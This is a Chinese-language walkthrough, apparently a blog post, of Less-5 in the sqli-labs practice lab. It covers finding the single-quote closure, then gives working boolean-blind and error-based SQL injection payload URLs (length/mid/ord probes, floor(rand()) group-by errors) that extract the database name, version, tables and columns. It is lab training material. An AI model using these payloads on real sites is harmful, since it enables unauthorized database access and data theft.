1. 程式人生 > 其它 >Less-5

Less-5

Less-5

第五關:Please input the ID as parameter with numeric value 

 

(1)判斷注入點閉合方式

正常輸入:

 

輸入特殊字元:

 

由此判斷閉合方式為單引號包裹

 

輸入錯誤引數:

 

 

(2)注入型別

由於頁面沒有回顯位置,只能根據正確與否顯示的頁面資訊判斷,所以這裡考慮使用盲注的方式

 

#布林盲注
http://192.168.88.133/mysqli-labs/Less-5/?id=1' and 1=2  --+
http://192.168.88.133/mysqli-labs/Less-5/?id=1' and 1=1  --+
#通過上面已經知道了閉合方式,所以也可以使用這種方式來判斷是否注入成功

 

 

(3)布林盲注

#使用length() 方法
http://192.168.88.133/mysqli-labs/Less-5/?id=1' and length(database()) >10  --+

#我們知道資料庫名長度為8,可以通過二分法來修改長度判斷資料庫名長度

 

 

介紹幾個方法:

mid():MID(string or text, start, length)
substring():SUBSTRING(input_string, start, length)
ord():ascii碼值
ascii():同上

 

#判斷資料庫名名稱
http://192.168.88.133/mysqli-labs/Less-5/?id=1' and  ord(mid(database(),1,1))=115  --+

#這種人工注入比較麻煩,所以一般使用python指令碼或可以使用burp的模組進行暴力,這裡不做演示。

 

(4)報錯注入

介紹三種常用的報錯函式

1.updatexml(XML_document,XPath_string,new_value) 
2.extractvalue(XML_document,xpath_string)
3.floor(rand(0)*2) :原理科參考https://www.freebuf.com/articles/web/257881.html


注::前兩個方法輸出字元會被限制在32個字元,第三個語句將 輸出字元長度限制為64個字元


 

爆庫:

 

 

 

考慮使用第三種方式:

 

 

#檢視資料庫資訊
http://192.168.88.133/mysqli-labs/Less-5/?id=-1'  union select count(*), 1,concat(0x3a,(select database()),0x3a,version(),floor(rand(0)*2)) as x from information_schema.tables   group by x   --+

#表資訊
http://192.168.88.133/mysqli-labs/Less-5/?id=-1' union select count(*), 1,concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+

#列資訊相似更換concat第一個查詢的欄位內容即可
http://192.168.88.133/mysqli-labs/Less-5/?id=-1' union select count(*), 1,concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+

#注 limit 處來顯示不同內容,調整第一個引數即可

 

 

 

 

 

 

 

 

 

注:如果有方法上(concat等)的使用不理解的建議百度瞭解更多再回頭看,,,,歡迎指正和交流~~